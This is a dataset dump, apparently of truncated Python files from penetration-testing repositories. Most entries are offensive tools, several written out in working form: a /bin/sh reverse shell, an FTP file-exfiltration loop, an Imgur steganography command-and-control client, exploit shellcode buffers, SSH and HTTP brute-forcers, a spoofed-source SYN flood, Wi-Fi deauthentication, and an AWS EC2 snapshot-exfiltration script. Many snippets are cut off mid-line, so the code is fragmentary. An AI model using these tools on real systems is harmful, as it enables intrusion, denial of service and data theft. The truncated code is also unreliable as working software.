repo_name
stringclasses
29 values
text
stringlengths
18
367k
avg_line_length
float64
5.6
132
max_line_length
int64
11
3.7k
alphnanum_fraction
float64
0.28
0.94
cybersecurity-penetration-testing
from ftplib import FTP import time import os user = sys.argv[1] pw = sys.argv[2] ftp = FTP("127.0.0.1", user, pw) filescheck = "aa" loop = 0 up = "../" while 1: files = os.listdir("./"+(i*up)) print files for f in files: try: fiile = open(f, 'rb') ftp.storbinary('STOR ftpfiles/00...
13.411765
52
0.568507
Python-Penetration-Testing-for-Developers
from imgurpython import ImgurClient import StegoText import ast, os, time, shlex, subprocess, base64, random, sys def get_input(string): try: return raw_input(string) except: return input(string) def authenticate(): client_id = '<YOUR CLIENT ID>' client_secret = '<YOUR CLIENT SECRET>' ...
35.19403
164
0.592409
Hands-On-Penetration-Testing-with-Python
#! /usr/bin/python3.5 import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('127.0.0.1',1234)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])
22.5
50
0.683761
Python-Penetration-Testing-for-Developers
import urllib from bs4 import BeautifulSoup url = "https://www.hackthissite.org" ht= urllib.urlopen(url) html_page = ht.read() b_object = BeautifulSoup(html_page) data = b_object.find('div', id ='notice') print data
26
41
0.739535
PenetrationTestingScripts
__author__ = 'John Berlin (n0tan3rd@gmail.com)' __version__ = '1.0.0' __copyright__ = 'Copyright (c) 2018-Present John Berlin' __license__ = 'MIT' import time import csv import re from os import path, makedirs from glob import glob import argparse import requests from bs4 import BeautifulSoup import ujson as json RAW...
45.335907
100
0.609083
PenetrationTestingScripts
#!/usr/bin/python
8.5
17
0.666667
cybersecurity-penetration-testing
#!/usr/bin/env python ''' Author: Christopher Duffy Date: February 2015 Name: publicip.py Purpose: To grab your current public IP address Copyright (c) 2015, Christopher Duffy All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the followi...
44.470588
89
0.759707
Hands-On-Penetration-Testing-with-Python
#!/usr/bin/python import socket buffer=["A"] counter=100 LPORT13327 = "" LPORT13327 += "\xbe\x25\xf6\xa6\xe0\xd9\xed\xd9\x74\x24\xf4" LPORT13327 += "\x5a\x33\xc9\xb1\x14\x83\xc2\x04\x31\x72\x10" LPORT13327 += "\x03\x72\x10\xc7\x03\x97\x3b\xf0\x0f\x8b\xf8" LPORT13327 += "\xad\xa5\x2e\x76\xb0\x8a\x49\x45\xb2\xb0...
27.531915
80
0.65597
Hands-On-Bug-Hunting-for-Penetration-Testers
#!/usr/bin/env python2.7 import sys, json from tabulate import tabulate data = json.load(sys.stdin) rows = [] def format_bug(vulnerability): row = [ vulnerability['severity'], vulnerability.get('identifiers').get('summary', 'N/A') if vulnerability.get('identifiers', False) else 'N/A', vulnerability['file'] +...
26.583333
111
0.465726
Hands-On-Penetration-Testing-with-Python
# -*- coding: utf-8 -*- from south.utils import datetime_utils as datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Adding model 'Project' db.create_table(u'xtreme_server_proje...
63.617925
130
0.570886
owtf
from owtf.plugin.helper import plugin_helper DESCRIPTION = "Plugin to assist manual testing" def run(PluginInfo): Content = plugin_helper.HtmlString("Intended to show helpful info in the future") return Content
23.777778
85
0.765766
Python-Penetration-Testing-for-Developers
import requests from requests.auth import HTTPBasicAuth with open('passwords.txt') as passwords: for pass in passwords.readlines(): r = requests.get('http://packtpub.com/login', auth=HTTPBasicAuth('user', pass, allow_redirects=False) if r.status_code == 301 and 'login' not in r.headers['location']:...
42.666667
109
0.67602
cybersecurity-penetration-testing
#!/usr/bin/python # -*- coding: utf-8 -*- import sqlite3 import optparse import os def printProfile(skypeDB): conn = sqlite3.connect(skypeDB) c = conn.cursor() c.execute("SELECT fullname, skypename, city, country, \ datetime(profile_timestamp,'unixepoch') FROM Accounts;") for row in c: ...
29.201923
65
0.515924
cybersecurity-penetration-testing
#!/usr/bin/env python ''' Author: Christopher Duffy Date: April 2015 Name: headrequest.py Purpose: To identify live web applications out extensive IP ranges Copyright (c) 2015, Christopher Duffy All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provid...
41.354167
151
0.666667
owtf
""" tests.functional.cli.test_nowebui ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ """ from tests.owtftest import OWTFCliTestCase class OWTFCliNoWebUITest(OWTFCliTestCase): categories = ["cli", "fast"] def test_cli_no_webui(self): """Run OWTF without its Web UI.""" self.run_owtf() self.assert_...
25.192308
59
0.554412
owtf
""" owtf.requester.base ~~~~~~~~~~~~~~~~~~~ The Requester module is in charge of simplifying HTTP requests and automatically log HTTP transactions by calling the DB module. """ import logging import sys try: import http.client as client except ImportError: import httplib as client try: from urllib.parse im...
31.449902
116
0.588339
Hands-On-Penetration-Testing-with-Python
#! /usr/bin/python3.6 import json,sys class JsonParse(): def __init__(self,json_): self.json=json_ def print_file(self): json_data="" with open(self.json,"r") as json_file: json_data=json.loads(json_file.read()) if json_data: print("Type of loaded File is :"+str(type(json_data))) employee_root=json_d...
32.717949
62
0.620244
owtf
""" ACTIVE Plugin for Generic Unauthenticated Web App Fuzzing via Skipfish This will perform a "low-hanging-fruit" pass on the web app for easy to find (tool-findable) vulns """ from owtf.managers.resource import get_resources from owtf.plugin.helper import plugin_helper DESCRIPTION = "Active Vulnerability Scanning wi...
35.642857
98
0.777344
Ethical-Hacking-Scripts
import hashlib, threading, time, sys from optparse import OptionParser from string import ascii_letters, digits, punctuation from itertools import product class Hashcracker: def __init__(self, hash ,hashType, passfile, nofile, passdigits, combolist): self.start = time.time() self.hash = hash ...
40.090909
103
0.486931
cybersecurity-penetration-testing
#!/usr/bin/python # -*- coding: utf-8 -*- import os import optparse from _winreg import * def sid2user(sid): try: key = OpenKey(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" + '\\' + sid) (value, type) = QueryValueEx(key, 'ProfileImagePath') ...
21.043478
65
0.581441
Penetration-Testing-with-Shellcode
#!/usr/bin/python from struct import * buffer = '' buffer += '\x90'*232 buffer += '\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x 48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05' buffer += pack("<Q", 0x7fffffffe2c0) f = open("input.txt", "w") f.write(buffer)
25.818182
75
0.676871
Effective-Python-Penetration-Testing
from w3af_api_client import Connection, Scan connection = Connection('http://127.0.0.1:5000/') print connection.get_version() profile = file('w3af/profiles/OWASP_TOP10.pw3af').read() target = ['http://localhost'] scan = Scan(connection) scan.start(profile, target) scan.get_urls() scan.get_log() scan.get_findings() ...
20.875
56
0.733524
cybersecurity-penetration-testing
#!/usr/bin/python import paramiko, sys, os, socket, threading, time import itertools,string,crypt PASS_SIZE = 5 def bruteforce_list(charset, maxlength): return (''.join(candidate) for candidate in itertools.chain.from_iterable(itertools.product(charset, repeat=i) for i in range(1, maxlength + 1))...
24.603448
91
0.618598
owtf
""" owtf.api.handlers.targets ~~~~~~~~~~~~~~~~~~~~~~~~~ """ from owtf.api.handlers.base import APIRequestHandler from owtf.lib import exceptions from owtf.lib.exceptions import InvalidTargetReference, APIError from owtf.managers.target import ( add_targets, delete_target, get_target_config_by_id, get_t...
30.517123
113
0.476962
Penetration-Testing-Study-Notes
#!/usr/bin/env python import subprocess import sys if len(sys.argv) != 3: print "Usage: sshrecon.py <ip address> <port>" sys.exit(0) ip_address = sys.argv[1].strip() port = sys.argv[2].strip() print "INFO: Performing hydra ssh scan against " + ip_address HYDRA = "hydra -L wordlists/userlist -P wordlists/off...
29.954545
140
0.670588
cybersecurity-penetration-testing
#!/usr/bin/python3 # # This script abuses insecure permissions given to the EC2 IAM Role to exfiltrate target EC2's # filesystem data in a form of it's shared EBS snapshot or publicly exposed AMI image. # # CreateSnapshot: # Abuses: # ec2:CreateSnapshot # ec2:ModifySnapshotAttribute # # The script will ...
41.534271
363
0.60357
cybersecurity-penetration-testing
import random from scapy.all import * target = raw_input("Enter the Target IP ") i=1 while True: a = str(random.randint(1,254)) b = str(random.randint(1,254)) c = str(random.randint(1,254)) d = str(random.randint(1,254)) dot = "." src = a+dot+b+dot+c+dot+d print src st = random.randint(1,1000) en = random.ra...
21
42
0.649241
Hands-On-Penetration-Testing-with-Python
#! /usr/bin/python3.5 import socket class SP(): def server(self): try: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.bind(('192.168.1.103',80)) s.listen(1) # Now wait for client connection. while True: try: c, addr = s.accept() print ('Got connection from', addr) ...
21.4375
64
0.548117
PenetrationTestingScripts
"""Firefox 3 "cookies.sqlite" cookie persistence. Copyright 2008 John J Lee <jjl@pobox.com> This code is free software; you can redistribute it and/or modify it under the terms of the BSD or ZPL 2.1 licenses (see the file COPYING.txt included with the distribution). """ import logging import time from _clientcooki...
32.518072
76
0.563811
cybersecurity-penetration-testing
import requests import sys url = sys.argv[1] values = [] for i in xrange(100): r = requests.get(url) values.append(int(r.elapsed.total_seconds())) average = sum(values) / float(len(values)) print "Average response time for "+url+" is "+str(average)
20.25
58
0.69685
PenetrationTestingScripts
#coding=utf-8 import time import threading from printers import printPink,printGreen from multiprocessing.dummy import Pool import MySQLdb class mysql_burp(object): def __init__(self,c): self.config=c self.lock=threading.Lock() self.result=[] self.lines=self.config.file2list("conf/...
32.95
127
0.507182
Broken-Droid-Factory
import random import randomword from patchers import patcher_interface class data_in_memory(patcher_interface.patcher): ''' Adds code that displays having data in memory ''' difficulty = 1 def patch(self): ''' Adds Java code to display having unknown data from a static re perspe...
58.860465
436
0.632019
cybersecurity-penetration-testing
import sys if len(sys.argv) !=3: print "usage: %s name.txt email suffix" % (sys.argv[0]) sys.exit(0) for line in open(sys.argv[1]): name = ''.join([c for c in line if c == " " or c.isalpha()]) tokens = name.lower().split() fname = tokens[0] lname = tokens[-1] print fname +lname+sys.argv[2] print lname+fname+sy...
29.047619
61
0.660317
cybersecurity-penetration-testing
''' Copyright (c) 2016 Python Forensics and Chet Hosmer Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, me...
37.24055
234
0.439676
cybersecurity-penetration-testing
import os import sys import logging import csv import sqlite3 import argparse import datetime __author__ = 'Preston Miller & Chapin Bryce' __date__ = '20160401' __version__ = 0.01 __description__ = 'This script uses a database to ingest and report meta data information about active entries in directories' ...
38.67037
128
0.615219
cybersecurity-penetration-testing
# RSA Key Generator # http://inventwithpython.com/hacking (BSD Licensed) import random, sys, os, rabinMiller, cryptomath def main(): # create a public/private keypair with 1024 bit keys print('Making key files...') makeKeyFiles('al_sweigart', 1024) print('Key files made.') def generateKe...
36.986486
169
0.614235
cybersecurity-penetration-testing
# Vigenere Cipher Dictionary Hacker # http://inventwithpython.com/hacking (BSD Licensed) import detectEnglish, vigenereCipher, pyperclip def main(): ciphertext = """Tzx isnz eccjxkg nfq lol mys bbqq I lxcz.""" hackedMessage = hackVigenere(ciphertext) if hackedMessage != None: print('Cop...
31.75
81
0.605806
cybersecurity-penetration-testing
import Queue import threading import screenshot import requests portList = [80,443,2082,2083,2086,2087,2095,2096,8080,8880,8443,9998,4643,9001,4489] IP = '127.0.0.1' http = 'http://' https = 'https://' def testAndSave(protocol, portNumber): url = protocol + IP + ':' + str(portNumber) try: ...
21.657895
85
0.57093
Python-Penetration-Testing-for-Developers
#!/us/bin/env python ''' Author: Chris Duffy Date: May 2015 Name: tcp_exploit.py Purpose: An sample exploit for testing TCP services Copyright (c) 2015, Christopher Duffy All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following co...
44.488372
89
0.774936
Python-Penetration-Testing-for-Developers
from scapy.all import * import sys interface = "mon0" BSSID = raw_input("Enter the MAC of AP ") victim_mac = raw_input("Enter the MAC of Victim ") frame= RadioTap()/ Dot11(addr1=victim_mac,addr2=BSSID, addr3=BSSID)/ Dot11Deauth() sendp(frame,iface=interface, count= 1000, inter= .1)
27.6
82
0.722807
owtf
""" GREP Plugin for Spiders,Crawlers and Robots NOTE: GREP plugins do NOT send traffic to the target and only grep the HTTP Transaction Log """ from owtf.plugin.helper import plugin_helper DESCRIPTION = "Searches transaction DB for Robots meta tag and X-Robots-Tag HTTP header" def run(PluginInfo): title = "This ...
32.9
91
0.741507
PenetrationTestingScripts
"""Beautiful Soup Elixir and Tonic "The Screen-Scraper's Friend" v2.1.1 http://www.crummy.com/software/BeautifulSoup/ Beautiful Soup parses arbitrarily invalid XML- or HTML-like substance into a tree representation. It provides methods and Pythonic idioms that make it easy to search and modify the tree. A well-formed...
36.779221
186
0.577434
Ethical-Hacking-Scripts
import sqlite3, socket, threading, sys, random class WebServer: def __init__(self): self.logo() self.valid = False self.name_list = ["admin adminpassword123456","bobby cheeseburger69","david 19216801","mine craft","jerry password","tom jerry"] self.names = ["admin", "bobby", ...
46.840491
158
0.424394
cybersecurity-penetration-testing
print"<MaltegoMessage>" print"<MaltegoTransformResponseMessage>" print" <Entities>" def maltego(entity, value, addvalues): print" <Entity Type=\"maltego."+entity+"\">" print" <Value>"+value+"</Value>" print" <AdditionalFields>" for value, item in addvalues.iteritems(): print" <Field Name=\""+value+"\" Di...
24.347826
104
0.671821
cybersecurity-penetration-testing
#!/usr/bin/python # -*- coding: utf-8 -*- from scapy.all import * def dnsQRTest(pkt): if pkt.haslayer(DNSRR) and pkt.getlayer(UDP).sport == 53: rcode = pkt.getlayer(DNS).rcode qname = pkt.getlayer(DNSQR).qname if rcode == 3: print '[!] Name request lookup failed: ' + qname ...
21.892857
65
0.557813
cybersecurity-penetration-testing
import xlsxwriter __author__ = 'Preston Miller & Chapin Bryce' __date__ = '20160401' __version__ = 0.04 __description__ = 'Write XSLX file.' ALPHABET = [chr(i) for i in range(ord('A'), ord('Z') + 1)] def writer(output, headers, output_data, **kwargs): """ The writer function writes excel output for the fram...
33.138889
95
0.561661
PenetrationTestingScripts
#coding=utf-8 import time from printers import printPink,printGreen import threading from multiprocessing.dummy import Pool import poplib def pop3_Connection(ip,username,password,port): try: pp = poplib.POP3(ip) #pp.set_debuglevel(1) pp.user(username) pp.pass_(password) (mai...
28.360656
109
0.559777
cybersecurity-penetration-testing
#!/usr/bin/env python import sys from scapy.all import * targetRange = sys.argv[1] targetPort = sys.argv[2] conf.verb=0 p=IP(dst=targetRange)/TCP(dport=int(targetPort), flags="S") ans,unans=sr(p, timeout=9) for answers in ans: if answers[1].flags == 2: print answers[1].src
16.882353
59
0.653465
Hands-On-Penetration-Testing-with-Python
#unset QT_QPA_PLATFORM #sudo echo "export QT_QPA_PLATFORM=offscreen" >> /etc/environment from bs4 import BeautifulSoup import requests import multiprocessing as mp from selenium import webdriver import time import datetime import os import sys from selenium.webdriver.support.ui import WebDriverWait from selenium.webdri...
36.452174
382
0.687877
PenetrationTestingScripts
import ctypes,sys import platform if platform.system()=='Linux' or platform.system()=='Darwin': class colors: BLACK = '\033[0;30m' DARK_GRAY = '\033[1;30m' LIGHT_GRAY = '\033[0;37m' BLUE = '\033[0;34m' LIGHT_BLUE = '\033[1;34m' GREEN ...
31.063291
82
0.584518
Hands-On-Penetration-Testing-with-Python
#!/usr/bin/python import socket buffer=["A"] counter=100 while len(buffer)<=30: buffer.append("A"*counter) counter=counter+200 for string in buffer: print"Fuzzing PASS with %s bytes" % len(string) s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.1...
17.964286
54
0.596226
owtf
from owtf.plugin.helper import plugin_helper DESCRIPTION = "Plugin to assist manual testing" def run(PluginInfo): Content = plugin_helper.HtmlString("Intended to show helpful info in the future") return Content
23.777778
85
0.765766
cybersecurity-penetration-testing
numberOfEggs = 12 if numberOfEggs < 4: print('That is not that many eggs.') elif numberOfEggs < 20: print('You have quite a few eggs.') elif numberOfEggs == 144: print('You have a lot of eggs. Gross!') else: print('Eat ALL the eggs!')
25.1
44
0.638462
Penetration-Testing-Study-Notes
prefix = "\\x41" * 80 eip = "\\x42" * 4 nop = "\\x90" * (400 - 137) buf = "" buf += "\\xba\\x8a\\x2a\\xb0\\xa4\\xd9\\xed\\xd9\\x74\\x24\\xf4\\x5d\\x31" buf += "\\xc9\\xb1\\x1c\\x31\\x55\\x14\\x03\\x55\\x14\\x83\\xed\\xfc\\x68" buf += "\\xdf\\xda\\xd9\\x34\\xb9\\xa9\\x25\\x7d\\xb9\\xdd\\x29\\x7d\\x33" buf += "\\x3e\\x4...
44.318182
74
0.558233
Penetration-Testing-Study-Notes
#!/usr/bin/python ################################################### # # XploitDeli - written by Justin Ohneiser # ------------------------------------------------ # This program produces a variety of exploits # found on exploit-db for immediate use. # # Note: options with an asterisk either don't work # or require...
38.618772
574
0.623516
owtf
""" PASSIVE Plugin for Testing for Cross site flashing (OWASP-DV-004) """ from owtf.managers.resource import get_resources from owtf.plugin.helper import plugin_helper DESCRIPTION = "Google Hacking for Cross Site Flashing" def run(PluginInfo): resource = get_resources("PassiveCrossSiteFlashingLnk") Content =...
27.785714
75
0.773632
owtf
from owtf.managers.resource import get_resources from owtf.plugin.helper import plugin_helper DESCRIPTION = "Plugin to assist manual testing" def run(PluginInfo): resource = get_resources("ExternalRememberPasswordAndReset") Content = plugin_helper.resource_linklist("Online Resources", resource) return Co...
28.727273
75
0.788344
cybersecurity-penetration-testing
# Reverse Cipher # http://inventwithpython.com/hacking (BSD Licensed) message = 'Three can keep a secret, if two of them are dead.' translated = '' i = len(message) - 1 while i >= 0: translated = translated + message[i] i = i - 1 print(translated)
21.5
62
0.643123
Effective-Python-Penetration-Testing
import urllib url = urllib.urlopen("http://packtpub.com/") response_headers = url.info() #print response_headers #print response_headers.keys() print response_headers['server']
24.428571
44
0.762712
Effective-Python-Penetration-Testing
#!/usr/bin/env python from zapv2 import ZAPv2 from pprint import pprint import time target = 'http://example.com/' zap = ZAPv2() zap.urlopen(target) time.sleep(2) scan = zap.spider.scan(target) time.sleep(2) while (int(zap.spider.status(scan)) < 100): print 'Spider progress %: ' + zap.spider.status(scan) ...
16.818182
57
0.693356
cybersecurity-penetration-testing
#!/usr/bin/python # -*- coding: utf-8 -*- import hashlib message = raw_input("Enter the string you would like to hash: ") md5 = hashlib.md5(message) md5 = md5.hexdigest() sha1 = hashlib.sha1(message) sha1 = sha1.hexdigest() sha256 = hashlib.sha256(message) sha256 = sha256.hexdigest() sha512 = hashlib.sha512(messag...
20
64
0.701245
Penetration_Testing
''' Collection of web attacks. ''' import requests import Queue import urllib import subprocess import socket from shlex import split from HTMLParser import HTMLParser from urlparse import urlparse ''' Resume allows us to resume a brute-forcing session if our network connectivity is interrupted or the target site go...
24.87108
128
0.596579
Hands-On-Penetration-Testing-with-Python
#! /usr/bin/python3.5 import threading import time import logging logging.basicConfig(level=logging.DEBUG, format='(%(threadName)-10s) %(message)s',) counter=0 class Communicate(): def __init__(self): pass def wait_for_event(self,e): global counter logging.debug("Wait for counter to become ...
24.833333
76
0.681378
Hands-On-Penetration-Testing-with-Python
# Create your views here. import subprocess import os import signal import pprint import sys import zipfile import psutil #from xtreme.crawler import Crawler from django.http import HttpResponse from django import forms from django.contrib.auth.forms import UserCreationForm from django.template import R...
34.328571
325
0.555918
cybersecurity-penetration-testing
import os import sys import argparse import logging import jinja2 import pypff import unicodecsv as csv from collections import Counter __author__ = 'Preston Miller & Chapin Bryce' __date__ = '20160401' __version__ = 0.01 __description__ = 'This scripts handles processing and output of PST Email Containers' output_...
33.761905
107
0.64011
owtf
""" owtf.files.main ~~~~~~~~~~~~~~~ """ import logging import tornado import tornado.httpserver import tornado.ioloop import tornado.options from owtf.files.routes import HANDLERS from owtf.settings import FILE_SERVER_LOG, FILE_SERVER_PORT, SERVER_ADDR, TEMPLATES from owtf.utils.app import Application __all__ = ["st...
25.783784
110
0.654545
owtf
""" owtf.managers.transaction ~~~~~~~~~~~~~~~~~~~~~~~~~ The DB stores HTTP transactions, unique URLs and more. """ import base64 from collections import defaultdict import json import logging import re from hrt.interface import HttpRequestTranslator from sqlalchemy import asc, desc from owtf.config import config_hand...
32.62762
99
0.614426
Python-Penetration-Testing-Cookbook
from scapy.all import * from pprint import pprint ethernet = Ether() network = IP(dst = ['rejahrehim.com', '192.168.1.1', '192.168.1.2']) # transport = TCP(dport=53, flags = 'S') transport = TCP(dport=[(53, 100)], flags = 'S') packet = ethernet/network/transport # pprint(packet) # pprint([pkt for pkt in packet]) for ...
22.933333
68
0.664804
cybersecurity-penetration-testing
import urllib2 from bs4 import BeautifulSoup import sys import time tarurl = sys.argv[1] if tarurl[-1] == "/": tarurl = tarurl[:-1] print"<MaltegoMessage>" print"<MaltegoTransformResponseMessage>" print" <Entities>" url = urllib2.urlopen(tarurl).read() soup = BeautifulSoup(url) for line in soup.find_all('a'): newli...
23.931034
42
0.684211
Hands-On-Penetration-Testing-with-Python
>>> import multiprocessing >>> def process_me(id): ... print("Process " +str(id)) ... >>> for i in range(5): ... p=multiprocessing.Process(target=process_me,args=(i,)) ... p.start() >>> Process 0 >>> Process 1 >>> Process 2 >>> Process 3 >>> Process 4 import multiprocessing as mp >>> class a(mp.Proces...
21.636364
62
0.539235
Hands-On-Penetration-Testing-with-Python
#!/usr/bin/python # Payload generator ## Total payload length payload_length = 424 ## Amount of nops nop_length = 100 ## Controlled memory address to return to in Little Endian format #0x7fffffffddc0 #0x7fffffffe120 #current 0x7fffffffdf80: 0xffffdfa0 #0x7fffffffdde0 #return_address = '\x20\xe1\xff\xff\xff\x7f\x00\x0...
41.25
419
0.737352
cybersecurity-penetration-testing
#!/usr/bin/python string = "TaPoGeTaBiGePoHfTmGeYbAtPtHoPoTaAuPtGeAuYbGeBiHoTaTmPtHoTmGePoAuGeErTaBiHoAuRnTmPbGePoHfTmGeTmRaTaBiPoTmPtHoTmGeAuYbGeTbGeLuTmPtTmPbTbOsGePbTmTaLuPtGeAuYbGeAuPbErTmPbGeTaPtGePtTbPoAtPbTmGeTbPtErGePoAuGeYbTaPtErGePoHfTmGeHoTbAtBiTmBiGeLuAuRnTmPbPtTaPtLuGePoHfTaBiGeAuPbErTmPbPdGeTbPtErGePoHfT...
61.857143
529
0.764973
cybersecurity-penetration-testing
import sys import struct equals_button = 0x01005D51 memory_file = "/Users/justin/Documents/Virtual Machines.localized/Windows Server 2003 Standard Edition.vmwarevm/564d9400-1cb2-63d6-722b-4ebe61759abd.vmem" slack_space = None trampoline_offset = None # read in our shellcode sc_fd = open("cmeasure.bin","...
31.752294
160
0.48585
PenetrationTestingScripts
import base64 import re try: import hashlib hash_md4 = hashlib.new("md4") hash_md5 = hashlib.md5() except ImportError: # for Python << 2.5 import md4 import md5 hash_md4 = md4.new() hash_md5 = md5.new() # Import SOCKS module if it exists, else standard socket module socket try: impo...
29.625641
82
0.603584
PenetrationTestingScripts
#coding=utf-8 import time import threading from printers import printPink,printGreen from impacket.smbconnection import * from multiprocessing.dummy import Pool from threading import Thread class smb_burp(object): def __init__(self,c): self.config=c self.lock=threading.Lock() self.res...
32.833333
125
0.529363
PenetrationTestingScripts
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Author : jeffzhang # @Time : 18-5-10 # @File : __init__.py.py # @Desc : ""
16
27
0.481481
cybersecurity-penetration-testing
#!/usr/bin/python # -*- coding: utf-8 -*- from bluetooth import * def rfcommCon(addr, port): sock = BluetoothSocket(RFCOMM) try: sock.connect((addr, port)) print '[+] RFCOMM Port ' + str(port) + ' open' sock.close() except Exception, e: print '[-] RFCOMM Port ' + str(port)...
20.210526
56
0.569652
cybersecurity-penetration-testing
from scapy.all import * ip1 = IP(src="192.168.0.99", dst ="192.168.0.11") packet = ip1/ICMP()/("m"*60000) send(packet) i=0 while i<20 : send(packet) i = i+1
15.1
49
0.61875
Hands-On-AWS-Penetration-Testing-with-Kali-Linux
#!/usr/bin/env python3 import boto3 import json session = boto3.session.Session(profile_name='Test', region_name='us-west-2') client = session.client('iam') user_details = [] group_details = [] role_details = [] policy_details = [] response = client.get_account_authorization_details() if response.get('UserDetailLi...
32.59375
82
0.674628
owtf
""" PASSIVE Plugin for Testing for Error Code (OWASP-IG-006) https://www.owasp.org/index.php/Testing_for_Error_Code_%28OWASP-IG-006%29 """ from owtf.managers.resource import get_resources from owtf.plugin.helper import plugin_helper DESCRIPTION = "Google Hacking for Error codes" def run(PluginInfo): resource = g...
29.4
75
0.767033
Effective-Python-Penetration-Testing
# -*- coding: utf-8 -*- # Define your item pipelines here # # Don't forget to add your pipeline to the ITEM_PIPELINES setting # See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html class TestspiderPipeline(object): def process_item(self, item, spider): return item
23.25
65
0.706897
owtf
from owtf.plugin.helper import plugin_helper DESCRIPTION = "Plugin to assist manual testing" def run(PluginInfo): Content = plugin_helper.HtmlString("Intended to show helpful info in the future") return Content
23.777778
85
0.765766
owtf
""" owtf.managers.worker ~~~~~~~~~~~~~~~~~~~~ Manage workers and assign work to them. """ import logging import multiprocessing import signal from time import strftime try: import queue except ImportError: import Queue as queue import psutil from owtf.db.session import get_scoped_session from owtf.lib.except...
32.769042
87
0.554537
cybersecurity-penetration-testing
import requests import urllib import subprocess from subprocess import PIPE, STDOUT commands = ['whoami','hostname','uname'] out = {} for command in commands: try: p = subprocess.Popen(command, stderr=STDOUT, stdout=PIPE) out[command] = p.stdout.read().strip() except: pass req...
22.058824
73
0.667519
owtf
from owtf.plugin.helper import plugin_helper DESCRIPTION = "Plugin to assist manual testing" def run(PluginInfo): Content = plugin_helper.HtmlString("Intended to show helpful info in the future") return Content
23.777778
85
0.765766
cybersecurity-penetration-testing
import urllib2 from bs4 import BeautifulSoup import sys urls = [] urls2 = [] tarurl = sys.argv[1] url = urllib2.urlopen(tarurl).read() soup = BeautifulSoup(url) for line in soup.find_all('a'): newline = line.get('href') print line.get('href') try: if newline[:4] == "http": ...
24.675
42
0.532164
Python-Penetration-Testing-for-Developers
subs = [] values = {" ": "%50", "SELECT": "HAVING", "AND": "&&", "OR": "||"} originalstring = "' UNION SELECT * FROM Users WHERE username = 'admin' OR 1=1 AND username = 'admin';#" secondoriginalstring = originalstring for key, value in values.iteritems(): if key in originalstring: newstring = originalstring.replace...
35.266667
103
0.714549
cybersecurity-penetration-testing
#brute force passwords import sys import urllib import urllib2 if len(sys.argv) !=3: print "usage: %s userlist passwordlist" % (sys.argv[0]) sys.exit(0) filename1=str(sys.argv[1]) filename2=str(sys.argv[2]) userlist = open(filename1,'r') passwordlist = open(filename2,'r') url = "http://www.vulner...
22
60
0.682458
cybersecurity-penetration-testing
import urllib from bs4 import BeautifulSoup import re domain=raw_input("Enter the domain name ") url = "http://smartwhois.com/whois/"+str(domain) ht= urllib.urlopen(url) html_page = ht.read() b_object = BeautifulSoup(html_page) file_text= open("who.txt",'a') who_is = b_object.body.find('div',attrs={'class' : 'whois'}) ...
17.026316
60
0.671053
owtf
""" Plugin for probing ftp """ from owtf.managers.resource import get_resources from owtf.plugin.helper import plugin_helper DESCRIPTION = " FTP Probing " def run(PluginInfo): resource = get_resources("FtpProbeMethods") # No previous output return plugin_helper.CommandDump("Test Command", "Output", resou...
23.428571
88
0.73607
cybersecurity-penetration-testing
#!/usr/bin/python # -*- coding: utf-8 -*- import zipfile import optparse from threading import Thread def extractFile(zFile, password): try: zFile.extractall(pwd=password) print '[+] Found password ' + password + '\n' except: pass def main(): parser = optparse.OptionParser("usage...
23.452381
62
0.590643
Penetration-Testing-with-Shellcode
#!/usr/bin/python from struct import * buffer = '' buffer += 'a'*27 buffer += pack("<Q", 0x0040135f) f = open("input.txt", "w") f.write(buffer)
17.125
32
0.625
Python-Penetration-Testing-for-Developers
import socket host = "192.168.0.1" port = 12346 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: s.bind((host,port)) s.settimeout(5) data, addr = s.recvfrom(1024) print "recevied from ",addr print "obtained ", data s.close() except socket.timeout : print "Client not connected" s.close()
18.3125
52
0.694805
cybersecurity-penetration-testing
# # This is free and unencumbered software released into the public domain. # # Anyone is free to copy, modify, publish, use, compile, sell, or # distribute this software, either in source code form or as a compiled # binary, for any purpose, commercial or non-commercial, and by any # means. # # In jurisdiction...
45.668421
137
0.590255
cybersecurity-penetration-testing
#!/usr/bin/python # -*- coding: utf-8 -*- from scapy.all import * def pktPrint(pkt): if pkt.haslayer(Dot11Beacon): print '[+] Detected 802.11 Beacon Frame' elif pkt.haslayer(Dot11ProbeReq): print '[+] Detected 802.11 Probe Request Frame' elif pkt.haslayer(TCP): print '[+] Detected...
21.4
55
0.628635
Python-Penetration-Testing-for-Developers
from imgurpython import ImgurClient import StegoText, random, time, ast, base64 def get_input(string): ''' Get input from console regardless of python 2 or 3 ''' try: return raw_input(string) except: return input(string) def create_command_message(uid, command): command = str(base64.b3...
33.041096
96
0.594605
cybersecurity-penetration-testing
import csv_writer import xlsx_writer __author__ = 'Preston Miller & Chapin Bryce' __date__ = '20151012' __version__ = 0.04 __description__ = 'This scripts parses the UserAssist Key from NTUSER.DAT.'
27.571429
75
0.703518
PenetrationTestingScripts
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Author : jeffzhang # @Time : 18-5-19 # @File : domain_brute.py # @Desc : "" import dns.resolver from multiprocessing import Pool, Lock from datetime import datetime from random import sample from string import digits, ascii_lowercase from fuxi.views.lib.mongo...
34.864286
114
0.543625
owtf
#!/usr/bin/env python from __future__ import print_function import json import os import sys import traceback from template import RESULTS from owtf.utils.file import FileOperations if not os.path.isfile(sys.argv[1]): sys.exit(1) data = None try: data = FileOperations.open(json.loads(str(sys.argv[1]))) ex...
40.568421
118
0.611196
